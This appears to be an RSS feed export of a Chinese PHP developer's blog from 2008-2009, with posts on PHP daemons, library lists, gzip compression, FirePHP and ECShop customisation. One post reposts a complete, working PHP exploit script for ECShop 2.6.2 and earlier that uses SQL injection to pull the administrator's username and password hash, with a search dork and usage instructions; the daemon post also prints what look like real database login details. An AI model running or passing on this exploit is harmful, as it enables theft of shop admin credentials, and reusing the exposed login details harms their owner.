小杜学习笔记 » PHP http://tinydoo.cn 记录生活学习点滴 Thu, 10 Dec 2009 14:43:24 +0000 en hourly 1 http://wordpress.org/?v=3.0 代替bash，书写PHP daemon (后台程序) http://tinydoo.cn/2009/367.html http://tinydoo.cn/2009/367.html#comments Sun, 27 Sep 2009 05:45:36 +0000 小杜 http://tinydoo.cn/?p=367 阅读全文——共1068字]]> 来源：http://www.cnblogs.com/niniwzw/archive/2009/09/07/1561668.html

最近在雅虎的一个朋友和我说，以前用bash csh 写脚本, 它现在都在用PHP 写后台程序，觉得PHP的函数最全，而且很容易用 shell_exec 很容易调用系统内核。
我和他交流了一下写后台程序的一些原则，归纳如下。
首先，要去掉以前写网页脚本的一些思维习惯。网页脚本运行一次以后，就马上释放内存。而daemon 程序不一样，它会一直运行一年，甚至几年。
1.  作为一个好的习惯，一定要在while (1) {} 这样一个死循环里面运行代码。这样，只要代码不出状况，脚本就不会停止。
2.  echo 不能用，而是用log 代替。用写日志的方法代替echo。因为echo 是 向 屏幕输出一个字符，如果没有任何输出的对象，就会报一个致命错误。
3.  如果MYSQL，要每次重新连接MYSQL。

function connnect()
{
global $db;
if (is_resource($db)) {
mysqli_close($db);
}
$db = mysqli_connect(“122.225.96.142“, ‘waihui‘, ‘freebsd@fzm‘, ‘waihui‘);
}

上面就是连接的一个例子。这个代码曾经被一个高手狠狠的批评了一顿。这个主要是为了防止下面的事情：
mysql 重启了，$db 变量肯定还是个资源，但是这个资源已经无效了。如果再执行代码就会发生：
mysql has go away 这样的错误。这个会向屏幕输出，即时关闭错误报告也一样会输出。这样导致整个
脚本运行错误，和echo 产生的错误一样。
虽然每次连接数据库有些浪费，但是也只能宁可错杀1000，也不放过一个。这个错误，是大多数朋友都会犯的
错误，很多人和我说这个是mysql的bug，因为，本来写文件好好的，后来连接带mysql就出错了。
其实不是mysql的bug。

4. 新产生的变量，如果不是自动释放的，要马上释放。否则日积月累，程序就要崩溃。很多PHP程序员没有一点
内存管理的概念，觉得内存是无限的，随便用，写后台程序一定要注意内存的管理。

5. 如果要访问文件，首先要 clearstatcache, 否则很有可能会不精确的统计，或者
判断文件是否存在变的不准确了。更要命的是，如果你频繁打开文件，文件的handle 值会
不断增加，等到超过整数的最大值，程序就无法打开文件。很多人的程序，3个月挂一次，
没有出现错误，也没有出现内存问题，很有可能就是每次操作文件前，没有清除statcache。

]]> http://tinydoo.cn/2009/367.html/feed 2 20个PHP常用类库 http://tinydoo.cn/2009/332.html http://tinydoo.cn/2009/332.html#comments Fri, 05 Jun 2009 06:29:33 +0000 小杜 http://tinydoo.cn/?p=332 阅读全文——共1184字]]> 下面是一些非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。

图表库

下面的类库可以让你很简的创建复杂的图表和图片。当然，它们需要GD库的支持。

  • pChart - 一个可以创建统计图的库。
  • Libchart - 这也是一个简单的统计图库。
  • JpGraph – 一个面向对象的图片创建类。
  • Open Flash Chart - 这是一个基于Flash的统计图。

RSS 解析

  • MagpieRSS - 开源的PHP版RSS解析器，据说功能强大，未验证。
  • SimplePie – 这是一个非常快速，而且易用的RSS和Atom 解析库。

缩略图生成

  • phpThumb - 功能很强大，如何强大还是自己去体会吧。

支付

OpenID

  • PHP-OpenID - 支持OpenID的一个PHP库。OpenID是帮助你使用相同的用户名和口令登录不同的网站的一种解决方案。如果你对OpenID不熟悉的话，你可以到这里看看：http://openid.net.cn/

数据为抽象/对象关系映射ORM

  • ADOdb - 数据库抽象
  • Doctrine - 对象关系映射Object relational mapper (ORM) ，需要 PHP 5.2.3+ 版本，一个非常强大的database abstraction layer (DBAL).
  • Propel – 对象关系映射框架- PHP5
  • Outlet - 也是关于对象关系映射的一个工具。

注：对象关系映射（Object Relational Mapping，简称ORM）是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术。 简单的说，ORM是通过使用描述对象和数据库之间映射的元数据，将程序中的对象自动持久化到关系数据库中。本质上就是将数据从一种形式转换到另外一种形 式。 这也同时暗示者额外的执行开销；然而，如果ORM作为一种中间件实现，则会有很多机会做优化，而这些在手写的持久层并不存在。 更重要的是用于控制转换的元数据需要提供和管理；但是同样，这些花费要比维护手写的方案要少；而且就算是遵守ODMG规范的对象数据库依然需要类级别的元 数据。

PDF 生成器

  • FPDF – 这量一个可以让你生成PDF的纯PHP类库。

Excel 相关

  • php-excel – 这是一个非常简单的Excel文件生成类。
  • PHP Excel Reader – 可以解析并读取XLS文件中的数据。

E-Mail 相关

单元测试

如果你在使用测试驱动的方法开发你的程序，下面的类库和框架绝你能帮助你的开发。

  • SimpleTest - 一个PHP的单元测试和网页测试的框架。
  • PHPUnit – 来自xUnit 家族，提供一个框架可以让你方便地进行单元测试的案例开发。并可非常容易地分析其测试结果。
]]> http://tinydoo.cn/2009/332.html/feed 5 IE下使用Firebug http://tinydoo.cn/2009/319.html http://tinydoo.cn/2009/319.html#comments Sun, 31 May 2009 02:46:44 +0000 小杜 http://tinydoo.cn/?p=319 在你的网页中加入下面的代码，将可以在IE、Opera、Safari下使用Firebug了：
[code][/code]
更多介绍：http://getfirebug.com/lite.html

]]> http://tinydoo.cn/2009/319.html/feed 0 压缩你的PHP、JS、CSS等文本类型代码 http://tinydoo.cn/2009/303.html http://tinydoo.cn/2009/303.html#comments Wed, 20 May 2009 03:54:09 +0000 小杜 http://tinydoo.cn/?p=303 阅读全文——共1692字]]> 众所周知，减小代码在传输中的大小，就能提高页面的传输速度，打开网页也就快了，这是基于带宽瓶颈的理论，当然服务器速度受到其他很多因素的影响， 有PHP代码执行速度，数据库访问速度，磁盘读写IO速度等，无论怎样，带宽影响是非常大，而受中国电信抑或是中国网通还有其他的一些电信公司的制约，在 服务器网络带宽并不很充裕的条件下，压缩代码传输将会大大节省带宽！

本文讲述通过使用Gzip压缩方式自动压缩相应的代码，在访问者浏览器端会自动还原成代码以便浏览器执行，至于编写代码时的良好风格节省空间的方法不在本文之列。

GZIP 最早由Jean-loup Gailly和Mark Adler创建，用于UNIX系统的文件压缩。我们在 LINUX中经常会用到后缀为.gz的文件，它们就是GZIP格式的。现今已经成为Internet 上使用非常普遍的一种数据压缩格式，或者说一种文件格式。HTTP协议上的GZIP编码是一种用来改进WEB应用程序性能的技术。大流量的WEB站点常常 使用GZIP压缩技术来让用户感受更快的速度。

首先测试一下你的网站各个页面是否采用了Gzip压缩，这里有个测试工具

目前，有两种主流方法实现Gzip压缩。
一、mod_deflate模块

mod_deflate 模块提供了DEFLATE输出过滤器，允许服务器在将输出内容发送到客户端以前进行压缩(应该也是采用gzip数据格式压缩，deflate是一种压缩算 法)以节约带宽。Apache 1.3.x时代使用mod_gzip模块来实现，Apache2已经内置了mod_deflate模块。

这种方法要求安装了Apache的http服务器软件，并且加载了deflate模块。

使用方法：

在网页发布目录的.htaccess文件中加入：

  1. <ifmodulemod_deflate.c>
  2. AddOutputFilter DEFLATE html htm xml php js css
  3. </ifmodule>

这样就会使得Apache在发布html,xml,php,js,css这样的文件时会采用Gzip方式传输数据，这个方法简单，一劳永逸，但一般使用的虚拟主机并没有安装deflate模块，也不一定是Apache的，不过我们还有办法：

二、ob_gzhandler函数
主机要求：支持PHP，PHP版本在4.0.4以上，安装有zlib库

对于PHP文件传输中压缩，只需在原来的 PHP 文件首行加上

  1. <?phpif(extension_loaded(‘zlib‘)){ob_start(‘ob_gzhandler‘);}?>

并且在结尾加上

  1. <?phpif(extension_loaded(‘zlib‘)){ob_end_flush();}?>

复制时还原为正规的PHP格式。

对于js文件，则在原来js文件的首行加上

  1. <?phpif(extension_loaded(‘zlib‘)){ob_start(‘ob_gzhandler‘);}header(“Content-Type: text/javascript“); ?>

末尾同样加上

  1. <?phpif(extension_loaded(‘zlib‘)){ob_end_flush();}?>

然后存为abc.js.PHPfont>这样的文件，并且修改指向这个所有html，PHPfont>等文件。

改

  1. <scripttype=“text/javascript“src=“abc.js“charset=“utf-8“></script>

为

  1. <scripttype=“text/javascript“src=“abc.js.php“charset=“utf-8“></script>

对于a.html文件就直接改成a.PHPfont>访问好了，如果要保留原来的URL就 修改.htaccess 伪URL或者建立一个网页跳转吧，而其他的CSS等文本也就依此推算出该怎么改了。

压缩效能说明：jQuery库源代码为50k左右，先写代码时优化，去除空格组合函数等使其减小至26k，再使用GZIP压缩至14k！
再附一张其他网站的压缩效能比较图，图中三种方式都是GZIP，只是执行的方法不同而已。
gzip.png

]]> http://tinydoo.cn/2009/303.html/feed 1 phpMinAdmin http://tinydoo.cn/2009/298.html http://tinydoo.cn/2009/298.html#comments Fri, 15 May 2009 10:07:05 +0000 小杜 http://tinydoo.cn/?p=298 阅读全文——共192字]]> 8错，偶没有拼错 :-)
用PHP+MySQL开发的同学，phpmyadmin一定是你经常要用到的工具之一

phpMinAdmin也是一个用PHP开发的数据库管理工具，但是相对phpMyadmin而言，它是个浓缩版的，只有一个159kb的PHP文件组成

但是功能却不弱,有兴趣的朋友可以试试，目前已经支持简体中文。

官方地址：http://phpminadmin.sourceforge.net

]]> http://tinydoo.cn/2009/298.html/feed 0 ECShop注射漏洞 http://tinydoo.cn/2009/272.html http://tinydoo.cn/2009/272.html#comments Tue, 24 Mar 2009 08:57:10 +0000 小杜 http://tinydoo.cn/?p=272 阅读全文——共280字]]> by Ryat
http://bbs.wolvez.org
2009-03-24

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:

if (empty($_GET['type']))
{
...
}
elseif ($_GET['type'] == 'collection')
{
...
}
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
$res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)

EXP:

#!/usr/bin/php

print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
* works with register_globals = On
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);

if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");

function send()
{
global $host, $path;

$cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';

$data = "POST ".$path."goods_script.php?type=".time()." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n\r\n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

]]> http://tinydoo.cn/2009/272.html/feed 1 FirePHP – Ajax和PHP开发扩展工具 http://tinydoo.cn/2009/263.html http://tinydoo.cn/2009/263.html#comments Fri, 13 Feb 2009 08:50:27 +0000 小杜 http://tinydoo.cn/?p=263 阅读全文——共526字]]> FirePHP是一个基于Firebug的Firefox扩展插件。

他可以在不影响php程序正常运行的同时，在Firebug的console中方便的输出php的调试信息，因此对于Ajax开发是个不错的选择。面一起来看下Firephp的使用方法。

安装

1.如果你的FireFox没有Firebug这个插件的话，首先要安装Firebug这个插件，可以到其官方地址去下载：http://www.getfirebug.com/

2.下载Firephp的php文件。并放在合适的目录。

3.引用fb.php, 比如：require(’FirePHPCore/fb.php’)

 

4.打开输出缓冲（因为Firephp主要用到的是header函数），有如下三种方法：

 

  • 在程序的前面加上ob_start()
  • 修改php.ini 将output_buffering设为1或者on
  • 修改apache的设置，在配置文件中加上php_flag output_buffering on

调试

可以调试输出以下数据类型：
  • 字符串，可以分为LOG,INFO,WARN,ERROR四种
  • Object或者Array
  • 通过sql查询返回的数据
  • 抛出的异常信息
  • 服务器返回的信息（不输出在console中，而是NET中

调试效果
]]> http://tinydoo.cn/2009/263.html/feed 0 给ecshop留言本增加审核功能 http://tinydoo.cn/2008/218.html http://tinydoo.cn/2008/218.html#comments Wed, 26 Nov 2008 05:38:01 +0000 小杜 http://tinydoo.cn/blog/?p=218 阅读全文——共942字]]> 原帖发表于ECshop官方论坛 http://bbs.ecshop.com/thread-69730-1-1.html

新版ECshop(V2.61)增加了留言板功能，这个是很有用的，但是在论坛上看到有朋友说，需要审核功能 ，而官方没有给出，就去看了看这个新版的留言本功能.
留言本前台程序是message.php , 后台仍然在会员管理-会员留言 菜单下。数据表在ecs_feedback，控制留言是否显示的字段为msg_area
程序十分简单，留言默认提交时 msg_area为1，所以就直接显示了，增加审核功能，无非就是在提交时候将msg_area设置为0，在后台管理处增加审核按钮，执行一个将该字段设置为1的动作即可
1- 打开message.php,找到79行 ‘msg_area’ => 1 将其修改为 ‘msg_area’ => 0
2- 打开admin/user_msg.php ，在适当的位置添加如代码：

if ($_REQUEST['act']==’checked’)
{
/* 权限判断 */
admin_priv(’feedback_priv’);
$id = empty($_GET['id']) ? 0 : intval($_GET['id']);
$sql = ‘UPDATE’. $ecs->table(’feedback’).’ SET msg_area =1 WHERE msg_id =’.$id;
$db->query($sql);

/* 返回列表 */
$link[] = array(’text’ => $_LANG['go_back'], ‘href’ =>‘javascript:history.back(-1)’);
sys_msg($_LANG['attradd_succed'], 0, $link);
// ecs_header(”Location: user_msg.php?act=list_all\n”);
exit;
}
3- 修改模板文件 admin/templates/msg_list.htm, 在





之后增加代码





好了，审核功能就实现了。
其实这个功能非常的简单，之所以写下来，是想表达一个想法：不管需求大小，对于真正需要它的人，都是重要的。
其实每个ECshop的功能扩展，都是这样的步骤，希望大家都能来感受一下亲手DIY的乐趣 ，这也是我非常喜欢EC的原因

]]> http://tinydoo.cn/2008/218.html/feed 4 感受durpal http://tinydoo.cn/2008/211.html http://tinydoo.cn/2008/211.html#comments Fri, 14 Nov 2008 02:28:35 +0000 小杜 http://tinydoo.cn/blog/?p=211 阅读全文——共330字]]> drupal荣获2008全球最佳php开源cms大奖

虽然这个已经不是很新闻了 但是因为我是刚刚才开始仔细去看durpal嘛，转来同享一下

官方链接：
http://drupal.org/2008-best-php-open-source-cms-award-packtpub

昨天晚上体验了一下durpal，真的感觉很神奇 ，相对于一直很神奇的wordpress，他又有自己的特色。

wordpress的代码很精巧， 而durpal  在于它的可扩展性和灵活性，他所提供的，是一个完美的框架，你可以随你想想的去DIY

当然我还是刚刚体验，更多的好处，要等以后慢慢去体会了……

最近要体验的还有一个让我十分惊喜的开源系统：MYBB

过几天再来介绍吧，目前本地化工作正在某群低调进行中！

]]> http://tinydoo.cn/2008/211.html/feed 2 ECshop订单操作权限的开发 http://tinydoo.cn/2008/7.html http://tinydoo.cn/2008/7.html#comments Mon, 13 Oct 2008 02:46:15 +0000 小杜 http://tinydoo.cn/blog/?p=7 阅读全文——共2908字]]> ————————————————————————————–
作者：xiaodu

发表： 2008-9-21

网站： http://www.eblhost.cn/forum/viewthread.php?tid=18
————————————————————————————–

ECshop是当前最流行的电子商城软件，而且由于完全开源，对于我们二次开发出符合我们自身特点的系统，非常有利。下面就以一个简单的实例，描述一次关于订单操作权限的添加过程。

一 基础知识

首先我们需要了解以下一些基本的知识：
1.ECshop的所有可用权限列表存储在数据库’ecs_admin_action’表中
2.权限判断通过admin_priv函数实现
3.管理员的权限设置可以通过后台编辑管理员信息来分配

二 权限详解

1、商品管理，共有9个权限项目，以下分别是：
goods_manage,商品添加/编辑
remove_back,商品删除/恢复
cat_manage,分类添加/编辑
cat_drop,分类转移/删除
attr_manage,商品属性管理
brand_manage,商品品牌管理
comment_priv,用户评论管理
tag_manage,标签管理
goods_type,商品类型

2、文章管理，共有6个权限项目，以下分别是：
article_cat,文章分类管理
article_manage,文章内容管理
shopinfo_manage,网店信息管理
shophelp_manage,网店帮助管理
vote_priv,在线调查管理
topic_manage,专题管理

3、会员管理，共有8个权限项目，以下分别是：
feedback_priv,会员留言管理
integrate_users,会员数据整合
sync_users,同步会员数据
users_manage,会员管理
users_drop,会员删除
user_rank,会员等级管理
surplus_manage,会员余额管理
account_manage,会员账户管理

4、权限管理，共有7个权限项目，以下分别是：

template_manage,模板管理
admin_manage,管理员添加/编辑
admin_drop,删除管理员
allot_priv,分派权限
logs_manage,管理日志列表
logs_drop,删除管理日志
agency_manage,办事处管理

5、系统设置，共有9个权限项目，以下分别是：
shop_config,商店设置
ship_manage, 配送方式管理
payment,支付方式管理
shiparea_manage,配送区域管理
area_manage,地区列表管理
friendlink,友情链接管理
db_backup,数据库备份
db_renew,数据库恢复
flash_manage，Flash 播放器管理

6、订单管理，共有10个权限项目，以下分别是：
order_os_edit,编辑订单状态
order_ps_edit,编辑付款状态
order_ss_edit,编辑发货状态
order_edit,添加编辑订单
order_view,查看未完成订单
order_view_finished,查看已完成订单
repay_manage,退款申请管理
booking,缺货登记管理
sale_order_stats,订单销售统计
client_flow_stats,客户流量统计
7、促销管理，共有6个权限项目，以下分别是：
snatch_manage,夺宝奇兵
ad_manage,广告管理
gift_manage,赠品管理
card_manage,祝福贺卡
pack,商品包装
bonus_manage,红包管理

三 订单操作权限的开发

上面提到的权限列表是我们比较常用的一些，我们具体来看下针对订单操作权限，主要是

order_os_edit,编辑订单状态
order_ps_edit,编辑付款状态
order_ss_edit,编辑发货状态
order_edit,添加编辑订单
order_view,查看未完成订单

假如我们某一个管理员需要”PDF打印订单”权限，(假设”PDF打印”功能已经实现），我们来看以下具体的操作步骤

1.首先在数据库ecs_admin_action中插入一行code为”pdf_manage”，parents_id为6(sql语句）

2.在language/admin/priv_action.php中找到”//订单管理部分权限”，在下面新加一行
$_LANG['pdf_manage'] = ‘PDF打印管理’;
3.在后台编辑某管理员权限页面，我们可以看到这个选项，分配给他。

当然这个时候该管理员还没有真正拥有这个权限。打开admin/order.php 搜索$priv_list(大概在2950行)
修改代码为以下部分:

/* 取得订单操作权限 */
$actions = $_SESSION['action_list'];
if ($actions == ‘all’)
{
$priv_list  = array(’os’ => true, ’ss’ => true, ‘ps’ => true, ‘edit’ => true,‘pdf_manage’=>true);
//如果是拥有所有权限(比如admin)，分配他PDF打印权限，当然如果你希望是特定的某一个人，这行可以不加
}
else
{
$actions    = ‘,’ . $actions . ‘,’;
$priv_list  = array(
‘os’    => strpos($actions, ‘,order_os_edit,’) !== false,
’ss’    => strpos($actions, ‘,order_ss_edit,’) !== false,
‘ps’    => strpos($actions, ‘,order_ps_edit,’) !== false,
‘edit’  => strpos($actions, ‘,order_edit,’) !== false,
‘pdf_manage’  => strpos($actions, ‘,pdf_manage,’) !== false

);
}
if ($priv_list['pdf_manage'])
{
$list['pdf_manage']    = true; // 确认
}
最后，在模板admin/templates/order_info.htm中找到合适的位置添加如下代码：
{if $operable_list.pdf_manage}
<input name=”pdf_creat” type=”submit” value=”{$lang.pdf_creat}” class=”button” />
{/if}
好了一次简单的”订单操作权限”扩展功能就完成，接下来该做什么了呢？呵呵，还不是该去喝口茶的时候
测试–花费更多的时间测试以保证你所做的一切是可用的。这个更重要~

(注：以上代码均以ECshop当前最新版本2.60为基础）


]]> http://tinydoo.cn/2008/7.html/feed 0